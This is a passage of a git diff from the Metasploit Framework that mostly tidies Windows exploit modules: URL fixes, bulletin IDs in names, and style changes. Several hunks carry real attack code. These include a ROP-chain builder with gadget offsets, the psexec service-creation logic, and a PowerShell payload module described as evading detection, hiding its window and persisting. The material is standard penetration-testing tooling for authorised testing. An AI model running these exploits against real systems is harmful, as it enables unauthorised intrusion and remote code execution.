Rex::Text.to_unicode('\\..\\..\\') + + Rex::Text.to_unicode('R7') + + "\x00" * 2 - server = Rex::Text.rand_text_alpha(rand(8)+1).upcase + server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase - handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', - 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', + 'ncacn_np', ["\\#{datastore['SMBPIPE']}"] ) begin # Samba doesn't have this handle and returns an ErrorCode dcerpc_bind(handle) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("SMB error: #{e.message.to_s}") + vprint_error("SMB error: #{e.message}") return Msf::Exploit::CheckCode::Safe end - vprint_status("Verifying vulnerable status... (path: 0x%08x)" % path.length) + vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length) stub = NDR.uwstring(server) + @@ -1102,7 +1098,7 @@ class Metasploit3 < Msf::Exploit::Remote NDR.long(0) resp = dcerpc.call(0x1f, stub) - error = resp[4,4].unpack("V")[0] + error = resp[4, 4].unpack('V')[0] # Cleanup simple.client.close @@ -1112,15 +1108,14 @@ class Metasploit3 < Msf::Exploit::Remote if (error == 0x0052005c) # \R :) return Msf::Exploit::CheckCode::Vulnerable else - vprint_error("System is not vulnerable (status: 0x%08x)" % error) if error + vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error return Msf::Exploit::CheckCode::Safe end end - def generate_rop(version) free_byte = "\x90" - #free_byte = "\xcc" + # free_byte = "\xcc" # create a few small gadgets # ; pop edx; pop ecx; ret @@ -1166,7 +1161,7 @@ class Metasploit3 < Msf::Exploit::Remote # call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret 'call_HeapCreate' => 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796, - 'pop ecx / ret' => 0x2e796+6, + 'pop ecx / ret' => 0x2e796 + 6, 'mov [eax], ecx / ret' => 0xd296, 'jmp eax' => 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56, @@ -1214,14 +1209,13 @@ class Metasploit3 < Msf::Exploit::Remote gadget3.unpack('V').first ] - # convert the meta rop into concrete bytes rvas = rvasets[version] rop.map! { |e| if e.kind_of? String # Meta-replace (RVA) - fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e] + fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") unless rvas[e] module_base + rvas[e] elsif e == :unused @@ -1237,9 +1231,8 @@ class Metasploit3 < Msf::Exploit::Remote ret = rop.pack('V*') # check badchars? - #idx = Rex::Text.badchar_index(ret, payload_badchars) + # idx = Rex::Text.badchar_index(ret, payload_badchars) ret end - end diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index e7164e46c3..1d4af26353 100644 --- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference', + 'Name' => 'MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference', 'Description' => %q{ This module exploits an out of bounds function table dereference in the SMB request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7 diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 07024d74c7..08b9056f16 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Print Spooler Service Impersonation Vulnerability', + 'Name' => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability', 'Description' => %q{ This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index 7820b4c717..51ee545d34 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 2dc62fc707..b329921947 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -1,30 +1,24 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - -=begin -Windows XP systems that are not part of a domain default to treating all -network logons as if they were Guest. This prevents SMB relay attacks from -gaining administrative access to these systems. This setting can be found -under: - - Local Security Settings > - Local Policies > - Security Options > - Network Access: Sharing and security model for local accounts -=end +# Windows XP systems that are not part of a domain default to treating all +# network logons as if they were Guest. This prevents SMB relay attacks from +# gaining administrative access to these systems. This setting can be found +# under: +# +# Local Security Settings > +# Local Policies > +# Security Options > +# Network Access: Sharing and security model for local accounts require 'msf/core' - class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Psexec include Msf::Auxiliary::Report include Msf::Exploit::EXE include Msf::Exploit::WbemExec @@ -82,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]), OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false]), OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]), - OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]) + OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]), ], self.class) end @@ -108,20 +102,48 @@ class Metasploit3 < Msf::Exploit::Remote end if datastore['DB_REPORT_AUTH'] and datastore['SMBUser'].to_s.strip.length > 0 - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'smb', - :user => datastore['SMBUser'].downcase, - :pass => datastore['SMBPass'], - :active => true + + service_data = { + address: ::Rex::Socket.getaddress(datastore['RHOST'],true), + port: datastore['RPORT'], + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id } - if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ - report_hash.merge!({:type => 'smb_hash'}) - else - report_hash.merge!({:type => 'password'}) + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_data: datastore['SMBPass'], + username: datastore['SMBUser'].downcase + } + + if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP' + credential_data.merge!({ + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: datastore['SMBDomain'] + }) end - report_auth_info(report_hash) + + if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/ + credential_data.merge!({:private_type => :ntlm_hash}) + else + credential_data.merge!({:private_type => :password}) + end + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: 'Admin', + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) end filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" @@ -153,7 +175,9 @@ class Metasploit3 < Msf::Exploit::Remote # Disconnect from the ADMIN$ simple.disconnect("ADMIN$") else - servicename = rand_text_alpha(8) + servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8) + servicedescription = datastore['SERVICE_DESCRIPTION'] + displayname = datastore['SERVICE_DISPLAYNAME'] || 'M' + rand_text_alpha(rand(32)+1) # Upload the shellcode to a file print_status("Uploading payload...") @@ -176,9 +200,6 @@ class Metasploit3 < Msf::Exploit::Remote end exe = '' opts = { :servicename => servicename } - if (datastore['PAYLOAD'].include? 'x64') - opts.merge!({ :arch => ARCH_X64 }) - end exe = generate_payload_exe_service(opts) fd << exe @@ -192,40 +213,6 @@ class Metasploit3 < Msf::Exploit::Remote # Disconnect from the share simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}") - # Connect to the IPC service - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - - - # Bind to the service - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - print_status("Binding to #{handle} ...") - dcerpc_bind(handle) - print_status("Bound to #{handle} ...") - - ## - # OpenSCManagerW() - ## - - print_status("Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + - NDR.long(0) + - NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - - ## - # CreateServiceW() - ## - # define the file location if datastore['SHARE'] == 'ADMIN$' @@ -233,128 +220,21 @@ class Metasploit3 < Msf::Exploit::Remote elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/ file_location = datastore['SHARE'].slice(0,1) + ":\\#{filename}" else - file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}" end - displayname = 'M' + rand_text_alpha(rand(32)+1) - svc_handle = nil - svc_status = nil + psexec(file_location, false) - print_status("Creating a new service (#{servicename} - \"#{displayname}\")...") - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.uwstring(displayname) + - - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( file_location ) + # Binary Path - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] + unless datastore['SERVICE_PERSIST'] + print_status("Deleting \\#{filename}...") + #This is not really useful but will prevent double \\ on the wire :) + if datastore['SHARE'] =~ /.[\\\/]/ + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.delete("\\#{fileprefix}\\#{filename}") + else + simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") + simple.delete("\\#{filename}") end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - - ## - # CloseHandle() - ## - print_status("Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end - - ## - # OpenServiceW - ## - print_status("Opening service...") - begin - stubdata = - scm_handle + - NDR.wstring(servicename) + - NDR.long(0xF01FF) - - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - - ## - # StartService() - ## - print_status("Starting the service...") - stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("Error: #{e}") - return - end - - ## - # DeleteService() - ## - print_status("Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end - rescue ::Exception => e - print_error("Error: #{e}") - end - - ## - # CloseHandle() - ## - print_status("Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("Error: #{e}") - end - - begin - print_status("Deleting \\#{filename}...") - select(nil, nil, nil, 1.0) - #This is not really useful but will prevent double \\ on the wire :) - if datastore['SHARE'] =~ /.[\\\/]/ - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - simple.delete("\\#{fileprefix}\\#{filename}") - else - simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") - simple.delete("\\#{filename}") - end - - rescue ::Interrupt - raise $! - rescue ::Exception - #raise $! end end handler diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 2f3994ba59..f8bca9625b 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,20 +23,18 @@ class Metasploit3 < Msf::Exploit::Remote payload using a similar technique to the "psexec" utility provided by SysInternals. The payload is encoded in base64 and executed from the commandline using the -encodedcommand flag. Using this method, the payload is never written to disk, and given that each payload - is unique, is less prone to signature based detection. Since executing shellcode in .NET - requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture - must match that of the payload. Lastly, a persist option is provided to execute the payload - in a while loop in order to maintain a form of persistence. In the event of a sandbox - observing PSH execution, a delay and other obfuscation may be added to avoid detection. - In order to avoid interactive process notifications for the current user, the psh payload has - been reduced in size and wrapped in a powershell invocation which hides the process entirely. + is unique, is less prone to signature based detection. A persist option is provided to + execute the payload in a while loop in order to maintain a form of persistence. In the + event of a sandbox observing PSH execution, a delay and other obfuscation may be added to + avoid detection. In order to avoid interactive process notifications for the current user, + the psh payload has been reduced in size and wrapped in a powershell invocation which hides + the window entirely. }, 'Author' => [ 'Royce @R3dy__ Davis ', # PSExec command module 'RageLtMan MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => @@ -44,17 +42,10 @@ class Metasploit3 < Msf::Exploit::Remote 'WfsDelay' => 10, 'EXITFUNC' => 'thread' }, - 'Payload' => - { - 'Space' => 8192, - 'DisableNops' => true, - 'StackAdjustment' => -3500 - }, 'Platform' => 'win', 'Targets' => [ - [ 'Windows x86', { 'Arch' => ARCH_X86 } ], - [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] + [ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 1999', @@ -66,17 +57,21 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ] )) + + register_options([ + OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]), + ], self.class) end def exploit - command = cmd_psh_payload(payload.encoded) - - if datastore['PERSIST'] and not datastore['DisablePayloadHandler'] - print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.") + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + if datastore['DryRun'] + print_good command.inspect + return end - if datastore['RUN_WOW64'] and target_arch.first == "x86_64" - fail_with(Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled") + if datastore['PSH::persist'] and not datastore['DisablePayloadHandler'] + print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option") end # Try and authenticate with given credentials @@ -84,22 +79,19 @@ class Metasploit3 < Msf::Exploit::Remote begin smb_login rescue StandardError => autherror - disconnect - fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") + fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}") end # Execute the powershell command print_status("#{peer} - Executing the payload...") begin return psexec(command) rescue StandardError => exec_command_error + fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") + ensure disconnect - fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}") end end end - def peer - return "#{rhost}:#{rport}" - end end diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 9d7c488f11..6758f56a66 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Windows SMB Relay Code Execution', + 'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution', 'Description' => %q{ This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index d33f86f8bc..0c630c4ead 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Timbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow', + 'Name' => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6 in a pretty novel way. diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb index c97901a355..07925d6526 100644 --- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb +++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote def check connect - banner = sock.get_once(-1,3) || '' + banner = sock.get_once || '' disconnect - if (banner =~ /ESMTP TABS Mail Server for Windows NT/) + if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/smtp/mercury_cram_md5.rb b/modules/exploits/windows/smtp/mercury_cram_md5.rb index c49fd7129c..27ac045d5b 100644 --- a/modules/exploits/windows/smtp/mercury_cram_md5.rb +++ b/modules/exploits/windows/smtp/mercury_cram_md5.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb index b5304d4a15..3fbf61a555 100644 --- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb +++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote sock.put("XEXCH50 2 2\r\n") select(nil,nil,nil,3) - res = sock.get(-1,3) + res = sock.get_once print_status("#{res}") if (res !~ /Send binary data/) print_status("Target is not vulnerable.") diff --git a/modules/exploits/windows/smtp/njstar_smtp_bof.rb b/modules/exploits/windows/smtp/njstar_smtp_bof.rb index bf011e928d..bbf06483f1 100644 --- a/modules/exploits/windows/smtp/njstar_smtp_bof.rb +++ b/modules/exploits/windows/smtp/njstar_smtp_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/wmailserver.rb b/modules/exploits/windows/smtp/wmailserver.rb index 02f91d2169..6d393979a1 100644 --- a/modules/exploits/windows/smtp/wmailserver.rb +++ b/modules/exploits/windows/smtp/wmailserver.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb index 41708b4586..3b8450c140 100644 --- a/modules/exploits/windows/smtp/ypops_overflow1.rb +++ b/modules/exploits/windows/smtp/ypops_overflow1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb index cfbcb28cb3..d851559c2c 100644 --- a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index f4a6b4b396..e53bb028ea 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/freesshd_key_exchange.rb b/modules/exploits/windows/ssh/freesshd_key_exchange.rb index d956194566..57e154860a 100644 --- a/modules/exploits/windows/ssh/freesshd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freesshd_key_exchange.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb index d26782df0f..73b305f2a4 100644 --- a/modules/exploits/windows/ssh/putty_msg_debug.rb +++ b/modules/exploits/windows/ssh/putty_msg_debug.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,10 +10,11 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'PuTTy.exe <= v0.53 Buffer Overflow', + 'Name' => 'PuTTY Buffer Overflow', 'Description' => %q{ - This module exploits a buffer overflow in the PuTTY SSH client that is triggered - through a validation error in SSH.c. + This module exploits a buffer overflow in the PuTTY SSH client that is + triggered through a validation error in SSH.c. This vulnerability + affects versions 0.53 and earlier. }, 'Author' => 'MC', 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb index 50fc8eca96..df985f1448 100644 --- a/modules/exploits/windows/ssh/securecrt_ssh1.rb +++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow', + 'Name' => 'SecureCRT SSH1 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in SecureCRT <= 4.0 Beta 2. By sending a vulnerable client an overly long diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index feb189f068..4f9dde83ce 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index 6123518f56..908e98ec99 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Private Communications Transport Overflow', + 'Name' => 'MS04-011 Microsoft Private Communications Transport Overflow', 'Description' => %q{ This module exploits a buffer overflow in the Microsoft Windows SSL PCT protocol stack. This code is based on Johnny diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb index 548edfabf6..3106ce456d 100644 --- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb +++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,10 +84,10 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("Attempting to determine if target is possibly vulnerable...") select(nil,nil,nil,7) - banner = sock.get_once(-1,3) || '' + banner = sock.get_once || '' vprint_status("Banner: #{banner}") - if (banner =~ /TelSrv 1\.5/) + if banner.to_s =~ /TelSrv 1\.5/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb index 30177d7c6f..ea55e3c541 100644 --- a/modules/exploits/windows/telnet/goodtech_telnet.rb +++ b/modules/exploits/windows/telnet/goodtech_telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'GoodTech Telnet Server <= 5.0.6 Buffer Overflow', + 'Name' => 'GoodTech Telnet Server Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in GoodTech Systems Telnet Server versions prior to 5.0.7. By sending an overly long string, an attacker can diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb index 0504b7553f..7dcfec49fe 100644 --- a/modules/exploits/windows/tftp/attftp_long_filename.rb +++ b/modules/exploits/windows/tftp/attftp_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 19bb81aa9f..146664e239 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '80984'], ['EDB', '18718'], - ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'] + ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'], + ['CVE', '2012-6664'] ], 'Payload' => { diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb index 0837a4f29f..c8d78b0862 100644 --- a/modules/exploits/windows/tftp/dlink_long_filename.rb +++ b/modules/exploits/windows/tftp/dlink_long_filename.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb 